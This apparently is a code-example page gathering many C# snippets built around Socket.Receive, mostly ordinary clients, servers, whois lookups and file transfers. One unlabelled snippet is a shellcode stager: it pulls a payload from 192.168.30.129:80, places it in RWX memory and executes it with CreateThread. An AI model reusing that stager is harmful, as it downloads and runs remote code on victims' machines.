Receive() public méthode

public Receive ( IList buffers ) : int
buffers IList
Résultat int
 static void Main(string[] args)
 {
     Socket s=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
     IPEndPoint ie=new IPEndPoint(IPAddress.Parse("127.0.0.1"),9000);
     s.Connect(ie);
     Console.WriteLine("Connected to Server.....");
     byte[] data=new byte[1024];
     int k=s.Receive(data);
     Console.WriteLine("Loi chao tu Server:{0}",Encoding.ASCII.GetString(data,0,k));
     while(true)
     {
         Console.WriteLine("Moi nhap du lieu can tinh");
         string st=Console.ReadLine();
         byte[] dl=new byte[1024];
         dl=Encoding.ASCII.GetBytes(st);
         s.Send(dl,dl.Length,SocketFlags.None);
         if(st.ToUpper().Equals("QUIT"))
             break;
         dl=new byte[1024];
         int k1=s.Receive(dl);
         Console.WriteLine("Ket qua tinh tong tu server tra ve:{0}", Encoding.ASCII.GetString(dl, 0, k1));
     }
     s.Disconnect(true);
     s.Close();
 }
 private void btnkq_Click(object sender, EventArgs e)
 {
     Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
     IPEndPoint ie = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 9000);
     s.Connect(ie);
     byte[] data = new byte[1024];
     int k = s.Receive(data);
     MessageBox.Show("welcome",Encoding.ASCII.GetString(data,0,k));
     while (true)
     {
         String strA = txta.Text.ToString();
         String strB = txtb.Text.ToString();
         String str = strA +  strB;
         byte[] dl = new byte[1024];
         dl = Encoding.ASCII.GetBytes(str);
         s.Send(dl, dl.Length, SocketFlags.None);
         if (str.ToUpper().Equals("QUIT"))
             break;
         dl = new byte[1024];
         int k1 = s.Receive(dl);
         String KQ = Encoding.ASCII.GetString(dl,0,k1);
         txtkq.Text = KQ.ToString();
     }
     s.Disconnect(true);
     s.Close();
 }
Exemple #3
1
 //Connect to the client
 public void connect()
 {
     if (!clientConnected)
     {
         IPAddress ipAddress = IPAddress.Any;
         TcpListener listener = new TcpListener(ipAddress, portSend);
         listener.Start();
         Console.WriteLine("Server is running");
         Console.WriteLine("Listening on port " + portSend);
         Console.WriteLine("Waiting for connections...");
         while (!clientConnected)
         {
             s = listener.AcceptSocket();
             s.SendBufferSize = 256000;
             Console.WriteLine("Connection accepted from " + s.RemoteEndPoint);
             byte[] b = new byte[65535];
             int k = s.Receive(b);
             ASCIIEncoding enc = new ASCIIEncoding();
             Console.WriteLine("Received:" + enc.GetString(b, 0, k) + "..");
             //Ensure the client is who we want
             if (enc.GetString(b, 0, k) == "hello" || enc.GetString(b, 0, k) == "hellorcomplete")
             {
                 clientConnected = true;
                 Console.WriteLine(enc.GetString(b, 0, k));
             }
         }
     }
 }
Exemple #4
1
        static void Main(string[] args)
        {
            byte[] receiveBytes = new byte[1024];
            int port =8080;//服务器端口
            string host = "10.3.0.1";  //服务器ip
            
            IPAddress ip = IPAddress.Parse(host);
            IPEndPoint ipe = new IPEndPoint(ip, port);//把ip和端口转化为IPEndPoint实例 
            Console.WriteLine("Starting Creating Socket Object");
            Socket sender = new Socket(AddressFamily.InterNetwork, 
                                        SocketType.Stream, 
                                        ProtocolType.Tcp);//创建一个Socket 
            sender.Connect(ipe);//连接到服务器 
            string sendingMessage = "Hello World!";
            byte[] forwardingMessage = Encoding.ASCII.GetBytes(sendingMessage + "[FINAL]");
            sender.Send(forwardingMessage);
            int totalBytesReceived = sender.Receive(receiveBytes);
            Console.WriteLine("Message provided from server: {0}",
                              Encoding.ASCII.GetString(receiveBytes,0,totalBytesReceived));
            //byte[] bs = Encoding.ASCII.GetBytes(sendStr);

            sender.Shutdown(SocketShutdown.Both);  
            sender.Close();
            Console.ReadLine();
        }
        /// <summary>
        /// Recibe un mensaje de TGC por un socket
        /// </summary>
        /// <param name="socket">Socket del cual recibir</param>
        /// <param name="msgType">Tipo de mensaje esperado</param>
        /// <returns>Mensaje recibido o null si recibió mal</returns>
        public static TgcSocketRecvMsg receiveMessage(Socket socket, TgcSocketMessageHeader.MsgType msgType)
        {
            try
            {
                //Recibir header
                byte[] headerData = new byte[TgcSocketMessageHeader.HEADER_SIZE];
                int recv = socket.Receive(headerData, headerData.Length, SocketFlags.None);
                if (recv == TgcSocketMessageHeader.HEADER_SIZE)
                {
                    int msgLength = BitConverter.ToInt32(headerData, 0);

                    //Recibir cuerpo del mensaje
                    byte[] msgData = new byte[msgLength];
                    recv = socket.Receive(msgData, msgData.Length, SocketFlags.None);
                    if (recv == msgLength)
                    {
                        TgcSocketRecvMsg recvMsg = new TgcSocketRecvMsg(msgData);
                        return recvMsg;
                    }
                }
            }
            catch (Exception)
            {
                return null;
            }
            return null;
        }
 public static string Whois(string domain, string host)
 {
     if (domain == null)
         throw new ArgumentNullException();
     string ret = "";
     Socket s = null;
     try
     {
         s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
         s.Connect(new IPEndPoint(Dns.Resolve(host).AddressList[0], 43));
         s.Send(Encoding.ASCII.GetBytes(domain + "\r\n"));
         byte[] buffer = new byte[1024];
         int recv = s.Receive(buffer);
         while (recv > 0)
         {
             ret += Encoding.ASCII.GetString(buffer, 0, recv);
             recv = s.Receive(buffer);
         }
         s.Shutdown(SocketShutdown.Both);
     }
     catch(Exception e)
     {
         Terminals.Logging.Log.Info("", e);
         ret = "Could not connect to WhoIs Server.  Please try again later.\r\n\r\nDetails:\r\n" + e.ToString();
     }
     finally
     {
         if (s != null)
             s.Close();
     }
     return ret;
 }
Exemple #7
0
 /// <summary>
 ///
 /// </summary>
 private void ThreadPro()
 {
     while (!mIsClosed)
     {
         if (mClient != null && IsOnline(mClient) && mClient.Available > 0 && !mIsTransparentRead)
         {
             var    vdlen = mClient.Available;
             byte[] btmp  = new byte[vdlen];
             mClient.Receive(btmp, 0, btmp.Length, System.Net.Sockets.SocketFlags.None);
             if (mForSyncCall)
             {
                 lock (mLockObj)
                 {
                     mReceiveDataLen += btmp.Length;
                     mReceiveBuffers.Enqueue(btmp);
                 }
             }
             else
             {
                 OnReceiveCallBack("", btmp);
             }
         }
         else
         {
             if (mClient != null && !IsOnline(mClient))
             {
                 StartConnect();
                 Thread.Sleep(mData.ReTryDuration);
             }
         }
         Thread.Sleep(1);
     }
 }
        // Start the stream socket server
        public static int StartMirametrixStream(Socket server)
        {
            byte[] msg_pog_fix = Encoding.UTF8.GetBytes("<SET ID=\"ENABLE_SEND_POG_FIX\" STATE=\"1\" />\r\n\"");
            byte[] msg_send_data = Encoding.UTF8.GetBytes("<SET ID=\"ENABLE_SEND_DATA\" STATE=\"1\" />\r\n\"");
            byte[] bytes = new byte[1024];

            try
            {
                // ask server to send pog fix data
                int byteCount = server.Send(msg_pog_fix, SocketFlags.None);
                byteCount = server.Receive(bytes, SocketFlags.None);

                if (byteCount > 0)
                {
                    bytes = new byte[1024];
                }

                // then send data
                int byteCount2 = server.Send(msg_send_data, SocketFlags.None);
                byteCount = server.Receive(bytes, SocketFlags.None);
            }
            catch (SocketException e)
            {
                Console.WriteLine("Error code: no formatting for you");
                return (e.ErrorCode);
            }
            return 0;
        }
Exemple #9
0
        private void button1_Click(object sender, EventArgs ev)
        {
            Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

            s.Connect("192.168.16.170", 10000);

            byte[] buf;

            buf = new byte[] { 0x00,0x06,0x10,0x12,0x00,0x00 };
            
            s.Send(buf);

            byte[] rec=new byte[128];
            int r = 0;

            s.ReceiveTimeout = 1000;

            try
            {
                r = s.Receive(rec);
                Debug.WriteLine(FUNC.BytesToString(rec, 0, r));

                r = s.Receive(rec);
                Debug.WriteLine(FUNC.BytesToString(rec, 0, r));
            }
            catch (Exception e)
            {
                Debug.WriteLine(e.Message);
            }

            s.Disconnect(false);
        }
Exemple #10
0
        static void Main(string[] args)
        {
            //TODO: 1. Utworzenie punktu połączenia do serwera - IPEndPoint
            var punktSerwer = new IPEndPoint(IPAddress.Parse("192.168.1.163"), 2000);
            //TODO: 2. Utworzenie gniazda połączenia - Socket
            var gniazdoSerwer = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            //TODO: 3. Połączenie z serwerem - Socket.Connect
            gniazdoSerwer.Connect(punktSerwer); //połączenie z serwerem
            //TODO: 4. Pobranie danych z serwera - Socket.Receive(ASCIIEncoding)       
            var tablicaDane = new byte[64]; //Bajt
            gniazdoSerwer.Receive(tablicaDane);  //Oczekiwanie i pobranie danych
            Console.WriteLine(Encoding.UTF8.GetString(tablicaDane));

            var watek = new Thread(WysylanieCzat); //wątek dla nadłuchiwania z klawiatury i wysyłania do serwera
            watek.IsBackground = true;
            watek.Start(gniazdoSerwer);

            while (true) //pętla dla obierania wiadomości
            {
                var dane = new byte[512]; //256 -> 3 znaki + 253 spacje
                gniazdoSerwer.Receive(dane);
                Console.WriteLine(Encoding.UTF8.GetString(dane));
            }
            //Kod - klient równocześnie wysyła i odbiera komunikaty           
        }
Exemple #11
0
 private void nhapDL()
 {
     Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
     IPEndPoint ie = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 9000);
     s.Connect(ie);
     while (true)
     {
         MessageBox.Show("Connected to Server.....");
         byte[] data = new byte[1024];
         int k1 = s.Receive(data);
         string A = txtNumber1.Text;
         string B = txtNumber2.Text;
         string gep = string.Concat(A, "-", B).Trim();
         data = Encoding.ASCII.GetBytes(gep);
         s.Send(data, data.Length, SocketFlags.None);
         data = new byte[1024];
         int k = s.Receive(data);
         txtKQ.Text += Encoding.ASCII.GetString(data, 0, k);
         if (Convert.ToInt32(txtNumber1.Text)==0 && Convert.ToInt32(txtNumber2.Text)==0)
         {
             MessageBox.Show("End connect...");
             break;
         }
     }
 }
Exemple #12
0
        void bg_DoWork(object sender, DoWorkEventArgs e)
        {
            clientSock = sock.Accept();
            while (clientSock.Connected)
            {
                byte[] buff = new byte[3];
                clientSock.Receive(buff);

                switch (buff[0])
                {
                    case 0xAA://Mapa
                        OnsockAdmi(new sockEventArgs(0xBB, buff[1], buff[2]));
                        break;
                    case 0xCC://combustible
                        OnsockAdmi(new sockEventArgs(0xDD, buff[1], buff[2]));
                        break;
                    case 0xEE://movimiento
                        byte[] dir = new byte[1];
                        clientSock.Receive(dir);
                        OnsockAdmi(new sockEventArgs(0xFF, buff[1], buff[2], dir[0]));
                        break;
                    default:
                        break;
                }

            }
        }
Exemple #13
0
        public bool DownloadFile()
        {
            Socket connectServer = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            IPEndPoint iep = new IPEndPoint(IPAddress.Parse(ipaddress), int.Parse(port));
            connectServer.Connect(iep);
            Byte[] sendHeader = Encoding.GetEncoding("UTF-8").GetBytes(filepath);
            connectServer.Send(sendHeader);
            Byte[] buffer = new Byte[10240];
            int num = connectServer.Receive(buffer);
            long needReceive = long.Parse(Encoding.GetEncoding("UTF-8").GetString(buffer, 0, num));
            FileInfo file = new FileInfo(filename);
            FileStream writer = file.Open(file.Exists ? FileMode.Append : FileMode.CreateNew, FileAccess.Write, FileShare.None);
            long receive = writer.Length;
            int received = 0;
            while (receive < needReceive)
            {
                if ((received = connectServer.Receive(buffer)) == 0) break;
                writer.Write(buffer, 0, received);
                writer.Flush();
                receive += (long)received;

                Thread.Sleep(200);
            }
            writer.Close();
            return true;
        }
Exemple #14
0
 public void RefreshTorIdentity()
 {
     Socket server = null;
     try
     {
         IPEndPoint ip = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 9151);
         server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
         server.Connect(ip);
         // Please be sure that you have executed the part with the creation of an authentication hash, described in my article!
         server.Send(Encoding.ASCII.GetBytes("AUTHENTICATE \"johnsmith\"" + Environment.NewLine));
         byte[] data = new byte[1024];
         int receivedDataLength = server.Receive(data);
         string stringData = Encoding.ASCII.GetString(data, 0, receivedDataLength);
         server.Send(Encoding.ASCII.GetBytes("SIGNAL NEWNYM" + Environment.NewLine));
         data = new byte[1024];
         receivedDataLength = server.Receive(data);
         stringData = Encoding.ASCII.GetString(data, 0, receivedDataLength);
         if (!stringData.Contains("250"))
         {
             Console.WriteLine("Unable to signal new user to server.");
             server.Shutdown(SocketShutdown.Both);
             server.Close();
         }
     }
     finally
     {
         server.Close();
     }
 }
        private void ClientThreadStart()
        {
            Socket clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp );
            clientSocket.Connect(new IPEndPoint(IPAddress.Parse("127.0.0.1"),31001));

            // Send the file name.
            clientSocket.Send(Encoding.ASCII.GetBytes(m_fileName));

            // Receive the length of the filename.
            byte [] data = new byte[128];
            clientSocket.Receive(data);
            int length=BitConverter.ToInt32(data,0);

            clientSocket.Send(Encoding.ASCII.GetBytes(m_fileName+":"+"this is a test\r\n"));

            clientSocket.Send(Encoding.ASCII.GetBytes(m_fileName+":"+"THIS IS "));
            clientSocket.Send(Encoding.ASCII.GetBytes("ANOTHRER "));
            clientSocket.Send(Encoding.ASCII.GetBytes("TEST."));
            clientSocket.Send(Encoding.ASCII.GetBytes("\r\n"));
            clientSocket.Send(Encoding.ASCII.GetBytes(m_fileName+":"+"TEST.\r\n"+m_fileName+":"+"TEST AGAIN.\r\n"));
            clientSocket.Send(Encoding.ASCII.GetBytes("[EOF]\r\n"));

            // Get the total length
            clientSocket.Receive(data);
            length=BitConverter.ToInt32(data,0);
            clientSocket.Close();
        }
Exemple #16
0
 private void Receive(Socket sourceSocket)
 {
     try {
         List<byte> bufferComplete = new List<byte>();
         // TODO: Make configurable
         byte[] bufferReceive = new byte[1024];
         int bytesRead = sourceSocket.Receive(bufferReceive);
         while (bytesRead > 0) {
             bufferComplete.AddRange(bufferReceive.Take(bytesRead));
             // TODO: Make configurable
             for (int i = 0; i < 10; i++) {
                 Console.WriteLine("Is more data available: " + sourceSocket.Available);
                 if (sourceSocket.Available > 0) {
                     break;
                 }
                 // TODO: Make configurable
                 Thread.Sleep(100);
             }
             if (sourceSocket.Available == 0) {
                 break;
             }
             bytesRead = sourceSocket.Receive(bufferReceive);
         }
         Guid guid = WriteRequestToFile(bufferComplete.ToArray());
         byte[] response = WaitForResponse(guid);
         if (response != null) {
             sourceSocket.Send(response);
             Console.WriteLine("Returned data to client: " + response.Length);
         }
     } catch (Exception e) {
         Console.WriteLine("Error: " + e);
     } finally {
         sourceSocket.Close();
     }
 }
Exemple #17
0
        public MainWindow() {
            InitializeComponent();
            Socket S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

            // 2. fill in the remote IP
            IPAddress IP = IPAddress.Parse("127.0.0.1");
            IPEndPoint IPE = new IPEndPoint(IP, 4321);

            Console.WriteLine("started connection service ....");
            // 3. connect to the server
            S.Connect(IPE);

            // 4. receive data
            byte[] buffer = new byte[1000000];
            S.Receive(buffer, 0, buffer.Length, SocketFlags.None);
            if (buffer[0] == Encoding.ASCII.GetBytes("S")[0]) {
                Console.WriteLine("Received START MESSAGE (\"S\")");
                S.Receive(buffer, 0, buffer.Length, SocketFlags.None);
            }
            //var Msg = Encoding.Unicode.GetString (buffer);
            //Console.WriteLine ("received message: (0)", msg);
            Console.WriteLine("Receive success");

            FileStream fs = File.Create("received.jpg");
            fs.Write(buffer, 0, buffer.Length);
            fs.Close();

            //MemoryStream ms = new MemoryStream(buffer);
            imageBox.Source = ByteImageConverter.ByteToImage(buffer);
        }
        static void Main()
        {
            IPEndPoint ip = new IPEndPoint(IPAddress.Parse("192.168.30.129"), 80);
            Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

            try
            {
                sock.Connect(ip);
            }
            catch (SocketException e)
            {
                return;
            }

            byte[] length_raw = new byte[4];

            // receive our 4 byte length from the server
            sock.Receive(length_raw, 4, 0);

            // convert the binary data to an integer length
            int length = BitConverter.ToInt32(length_raw, 0);
            byte[] shellcode = new byte[length + 5];

            int total_bytes = 0;

            // make sure we receive all of the payload
            while (total_bytes < length)
            {
                byte[] buffer = new byte[length];
                int bytes_received = sock.Receive(buffer);

                // copy the temp byte[] into our shellcode array
                Array.Copy(buffer, 0, shellcode, 5 + total_bytes, bytes_received);
                total_bytes += bytes_received;
            }

            // get the socket handle
            byte[] handle = BitConverter.GetBytes((int)sock.Handle);

            // copy the socket handle into the shellcode
            Array.Copy(handle, 0, shellcode, 1, 4);
            shellcode[0] = 0xBF; // little assembly magic to push the socket # into EDI

            // allocate a RWX page
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                                MEM_COMMIT, PAGE_EXECUTE_READWRITE);

            // copy the shellcode into the page
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);

            // prepare data
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            IntPtr pinfo = IntPtr.Zero;

            // execute native code
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);

        }
        private void ClientThreadStart()
        {
            Socket clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            clientSocket.Connect(new IPEndPoint(IPAddress.Parse("127.0.0.1"), 31001));

            var someMacroObj = new MacroObj();
            someMacroObj.cmd = "start";
            someMacroObj.pathExec = "C:\\Program Files(x86)\\Google\\Chrome\\Application\\chrome.exe\\";
            someMacroObj.paramObj = "http://www.kree8tive.dk";
            var json = new JavaScriptSerializer().Serialize(someMacroObj);

            // Send the file name.
            clientSocket.Send(Encoding.ASCII.GetBytes(m_fileName));

            // Receive the length of the filename.
            byte[] data = new byte[128];
            clientSocket.Receive(data);
            int length = BitConverter.ToInt32(data, 0);

            clientSocket.Send(Encoding.ASCII.GetBytes(json + "\r\n"));
            clientSocket.Send(Encoding.ASCII.GetBytes("[EOF]\r\n"));

            /*
                What does this bit do ???
                Necessary ?
            */
            // Get the total length
            clientSocket.Receive(data);
            length=BitConverter.ToInt32(data,0);
            /* ? */

            clientSocket.Close();
        }
Exemple #20
0
        /// <summary>
        /// 域名注册信息
        /// </summary>
        /// <param name="domain">输入域名,不包含www</param>
        /// <returns></returns>
        public static string GetDomain(string domain) {
            string strServer;
            string whoisServer = "whois.internic.net,whois.cnnic.net.cn,whois.publicinterestregistry.net,whois.nic.gov,whois.hkdnr.net.hk,whois.nic.name";
            string[] whoisServerList = Regex.Split(whoisServer, ",", RegexOptions.IgnoreCase);

            if (domain == null)
                throw new ArgumentNullException();
            int ccStart = domain.LastIndexOf(".");
            if (ccStart < 0 || ccStart == domain.Length)
                throw new ArgumentException();

            //根据域名后缀选择服务器
            string domainEnd = domain.Substring(ccStart + 1).ToLower();
            switch (domainEnd) {
                default:    //.COM, .NET, .EDU 
                    strServer = whoisServerList[0];
                    break;
                case "cn":  //所有.cn的域名
                    strServer = whoisServerList[1];
                    break;
                case "org":  //所有.org的域名
                    strServer = whoisServerList[2];
                    break;
                case "gov":  //所有.gov的域名
                    strServer = whoisServerList[3];
                    break;
                case "hk":  //所有.hk的域名
                    strServer = whoisServerList[4];
                    break;
                case "name":  //所有.name的域名
                    strServer = whoisServerList[5];
                    break;
            }

            string ret = "";
            Socket s = null;
            try {
                string cc = domain.Substring(ccStart + 1);
                s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                s.SendTimeout = 900;
                s.Connect(new IPEndPoint(Dns.Resolve(strServer).AddressList[0], 43));
                s.Send(Encoding.ASCII.GetBytes(domain + "\r\n"));
                byte[] buffer = new byte[1024];
                int recv = s.Receive(buffer);
                while (recv > 0) {
                    ret += Encoding.UTF8.GetString(buffer, 0, recv);
                    recv = s.Receive(buffer);
                }
                s.Shutdown(SocketShutdown.Both);


            } catch (SocketException ex) {
                return ex.Message;
            } finally {
                if (s != null)
                    s.Close();
            }

            return ret;
        }
Exemple #21
0
        public void TestBkToCipherTextOnSocket()
        {
            _bkToCipherText = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            var endpt = new IPEndPoint(IPAddress.Loopback, BK_CT_PORT);
            _bkToCipherText.Connect(endpt);

            var bytesSent = _bkToCipherText.Send(Encoding.UTF8.GetBytes(TEST_INPUT));
            var buffer = new List<byte>();
            var data = new byte[256];

            _bkToCipherText.Receive(data, 0, data.Length, SocketFlags.None);
            buffer.AddRange(data.Where(b => b != (byte)'\0'));
            while (_bkToCipherText.Available > 0)
            {
                data = new byte[_bkToCipherText.Available];
                _bkToCipherText.Receive(data, 0, data.Length, SocketFlags.None);
                buffer.AddRange(data.Where(b => b != (byte)'\0'));
            }

            _bkToCipherText.Close();

            var cipherdata = Encoding.UTF8.GetString(buffer.ToArray());

            NoFuture.Shared.CipherText cipherText;
            var parseResult = NoFuture.Shared.CipherText.TryParse(cipherdata, out cipherText);
            Assert.IsTrue(parseResult);
            Console.WriteLine(cipherText.ToString());
        }
Exemple #22
0
 public void ReadData(Socket stream, out byte[] readBytes)
 {
     readBytes = new byte[sizeof(ushort)];
     stream.Receive(readBytes);
     int length = BitConverter.ToUInt16(readBytes, 0);
     readBytes = new byte[length];
     stream.Receive(readBytes);
 }
Exemple #23
0
        public string Receive()
        {
            byte[] bytes    = new byte[1024];
            int    bytesRec = m_socket.Receive(bytes);

            return(Encoding.UTF8.GetString(bytes, 0, bytesRec));
            // Console.WriteLine(Encoding.UTF8.GetString(bytes, 0, bytesRec));
        }
Exemple #24
0
        static void Main(string[] args)
        {
            Console.WriteLine("Start Client");

            Socket client_socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

            //Console.WriteLine("Enter server IP:");
            string ip_str = "127.0.0.1";

            int port = 2000;

            IPHostEntry ipList = Dns.Resolve(ip_str);
            IPAddress ip = ipList.AddressList[0];
            IPEndPoint endPoint = new IPEndPoint(ip, port);

            client_socket.Connect(endPoint);

            byte[] firstAnswer = new byte[1024];
            int byteCount = client_socket.Receive(firstAnswer);
            string fromServerMessage = Encoding.UTF8.GetString(firstAnswer, 0, byteCount);
            Console.WriteLine(fromServerMessage);

            string message = string.Empty;
            message = Console.ReadLine();
            byte[] message_name = Encoding.UTF8.GetBytes(message);
            client_socket.Send(message_name);

            byte[] secondAnswer = new byte[1024];
            int byteCount2 = client_socket.Receive(secondAnswer);
            string fromServerMessage2 = Encoding.UTF8.GetString(secondAnswer, 0, byteCount);
            Console.WriteLine(fromServerMessage2);

            if (fromServerMessage2.Contains("Welcome"))
            {
                Thread ear = new Thread(EarMethod);
                ear.Start(client_socket);

                try
                {
                    while (true)
                    {
                        //Console.Write("Message: ");
                        message = Console.ReadLine();
                        byte[] mesage_buffer = Encoding.UTF8.GetBytes(message);
                        client_socket.Send(mesage_buffer);
                    }

                }
                catch (SocketException exp)
                {
                    Console.WriteLine("Error. " + exp.Message);
                }
            }

            //Console.Read();
        }
        public static BaseMessage Receive(Socket socket)
        {
            byte[] byteSize = new byte[4];
            socket.Receive(byteSize);
            int size = MessageSerialization.GetMessageSize(byteSize);

            byte[] payload = new byte[size];
            socket.Receive(payload);
            BaseMessage message = MessageSerialization.Deserialze(payload);
            return message;
        }
Exemple #26
0
        void filerecv(string savepath, System.Net.Sockets.Socket socket)
        {
            int done = 0;

            byte[]     namebuf = new byte[1024];
            byte[]     buffer  = new byte[packagesize];
            FileStream fs      = null;
            int        sendn   = 0;

            Console.Write("等待对方发送文件 ");
            Program pro = new Program();
            Thread  wat = new Thread(pro.waitingth);

            wat.Start();
            while (done == 0)
            {
                int    n       = socket.Receive(namebuf);
                string namestr = Encoding.UTF8.GetString(namebuf, 0, n);

                //	Console.WriteLine("STATR "+namestr);

                //	char[] splitchar = @"@#@".ToCharArray();
                string[] namestack = namestr.Split(@"@#@".ToCharArray());

                sendn = int.Parse(namestack[3]);
                Console.WriteLine("");
                Console.WriteLine("File   => " + namestack[0]);

                Console.WriteLine("Length => " + sendn.ToString());
                done = 1;
                try{
                    fs = File.OpenWrite(@"C:\Users\Administrator\Desktop\" + namestack[0]);
                }
                catch (Exception)
                {
                    done = 0;
                }
            }
            wat.Abort();
            Console.WriteLine("");
            int recvn = 1;

            for (recvn = 1; recvn <= sendn; recvn++)
            {
                int leng = socket.Receive(buffer);
                fs.Position = fs.Length;
                fs.Write(buffer, 0, leng);
                Console.WriteLine("Process  recv ->  (" + recvn.ToString() + " | " + sendn.ToString() + ")");
                Thread.Sleep(new Program().recvslp);
            }
            Console.WriteLine("");
            Writeyel("---Receive done---");
            //		Writeyel("File:   "+namebuf);
        }
Exemple #27
0
        /// <summary>
        /// Create a new instance of chunked.
        /// </summary>
        /// <param name="f"></param>
        public Chunked(Socket f, byte[] oldbuffer, int size)
        {
            //Find first chunk.
            if (IsChunked(oldbuffer))
            {
                int endofheader = oldbuffer.FindString("\r\n\r\n");
                int endofchunked = oldbuffer.FindString("\r\n", endofheader + 4);
                //
                string chunked = oldbuffer.GetBetween(endofheader + 4, endofchunked);
                //convert chunked data to int.
                int totallen = chunked.FromHex();
                //
                if (totallen > 0)
                {
                    //start a while loop and receive till end of chunk.
                    totalbuff = new byte[65535];
                    finalbuff = new byte[size];
                    //remove chunk data before adding.
                    oldbuffer = oldbuffer.ReplaceBetween(endofheader + 4, endofchunked + 2, new byte[] { });
                    Buffer.BlockCopy(oldbuffer, 0, finalbuff, 0, size);
                    if (f.Connected)
                    {
                        int totalchunksize = 0;
                        int received = f.Receive(totalbuff, 0, totalbuff.Length, SocketFlags.None);
                        while ((totalchunksize = GetChunkSize(totalbuff, received)) != -1)
                        {
                            //add data to final byte buffer.
                            byte[] chunkedData = GetChunkData(totalbuff, received);
                            byte[] tempData = new byte[chunkedData.Length + finalbuff.Length];
                            //get data AFTER chunked response.
                            Buffer.BlockCopy(finalbuff, 0, tempData, 0, finalbuff.Length);
                            Buffer.BlockCopy(chunkedData, 0, tempData, finalbuff.Length, chunkedData.Length);
                            //now add to finalbuff.
                            finalbuff = tempData;
                            //receive again.
                            if (totalchunksize == -2)
                                break;
                            else
                                received = f.Receive(totalbuff, 0, totalbuff.Length, SocketFlags.None);

                        }
                        //end of chunk.
                        Console.WriteLine("Got chunk! Size: {0}", finalbuff.Length);
                    }
                }
                else
                {
                    finalbuff = new byte[size];
                    Buffer.BlockCopy(oldbuffer, 0, finalbuff, 0, size);
                }
            }
        }
Exemple #28
0
        //
        //
        //
        public int ReceiveBytes()
        {
            Array.Clear(_receiveBuffer, 0, _receiveBuffer.Length);

            if (_socket == null)
            {
                throw new SocketException("Socket is null.");
            }

            _socket.Poll(-1, SNS.SelectMode.SelectRead);                // wait until we can read

            // read the 4 byte header that tells us how many bytes we will get
            byte[] readHeader = new byte[4];
            _socket.Receive(readHeader, 0, 4, SNS.SocketFlags.None);

            int bytesToRead = BitConverter.ToInt32(readHeader, 0);
            //Helper.WriteLine( "+++bytesToRead==" + bytesToRead ) ;

            // read the bytes in a loop
            int readBlockSize = (int)_socket.GetSocketOption(SNS.SocketOptionLevel.Socket, SNS.SocketOptionName.ReceiveBuffer);
            //Helper.WriteLine( "+++readBlockSize==" + readBlockSize ) ;

            int bytesReadSoFar = 0;

            while (true)
            {
                int bytesLeftToRead = bytesToRead - bytesReadSoFar;
                if (bytesLeftToRead <= 0)
                {
                    break;                                          // finished receiving
                }
                _socket.Poll(-1, SNS.SelectMode.SelectRead);        // wait until we can read

                // do the read
                int bytesToReadThisTime = Math.Min(readBlockSize, bytesLeftToRead);

                if (bytesToReadThisTime + bytesReadSoFar > SocketConstants.SOCKET_MAX_TRANSFER_BYTES)
                {
                    throw new SocketException("You are trying to read " + bytesToRead + " bytes. Dont read more than " + SocketConstants.SOCKET_MAX_TRANSFER_BYTES + " bytes.");
                }

                int bytesReadThisTime = _socket.Receive(_receiveBuffer, bytesReadSoFar, bytesToReadThisTime, SNS.SocketFlags.None);
                //Helper.WriteLine( "+++bytesReadThisTime==" + bytesReadThisTime ) ;

                bytesReadSoFar += bytesReadThisTime;
            }

            _statsBytesReceived += bytesReadSoFar;              // update stats

            //Helper.WriteLine( "+++finished reading"  ) ;
            return(bytesReadSoFar);
        }
 public static void ReadResponseUntilContent(Socket sck)
 {
     byte[] b = new byte[65536];
     int bytesRead = sck.Receive(b);
     Assert.IsTrue(bytesRead > 0);
     string response = Encoding.UTF8.GetString(b, 0, bytesRead);
     while (!response.Contains("\r\n\r\n"))
     {
         bytesRead = sck.Receive(b);
         Assert.IsTrue(bytesRead > 0);
         response += Encoding.UTF8.GetString(b, 0, bytesRead);
     }
 }
 private void AcceptCallback(Socket socket)
 {
     const int fullLength = 1024 * 1024;
       var receivedData = new byte[fullLength];
       var length = socket.Receive(receivedData);
       var k = length;
       while (length > 0)
       {
     length = socket.Receive(receivedData, k, fullLength - k, SocketFlags.None);
     k += length;
       }
       socket.Close();
       myDataConsumer.PutData(receivedData, k);
 }
Exemple #31
0
 public int send(string Address, string file, int port, bool SaveLog)
 {
     try
     {
         Debug.WriteLine("Starting sender....");
         IPEndPoint ipEndPoint = CreateIPEndPoint(Address + ":" + port.ToString());
         Debug.WriteLine("IpEndPoint created");
         Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
         Debug.WriteLine("client created");
         client.Connect(ipEndPoint);
         Debug.WriteLine("Connected");
         byte[] data = new byte[11];
         Debug.WriteLine("data created");
         client.Receive(data);
         Debug.WriteLine("Recieved data:");
         string RecivedData = "";
         for (int i = 0; i < data.Length; i++) RecivedData = RecivedData + data[i].ToString();
         Debug.WriteLine(RecivedData);
         string ShouldRecive = "";
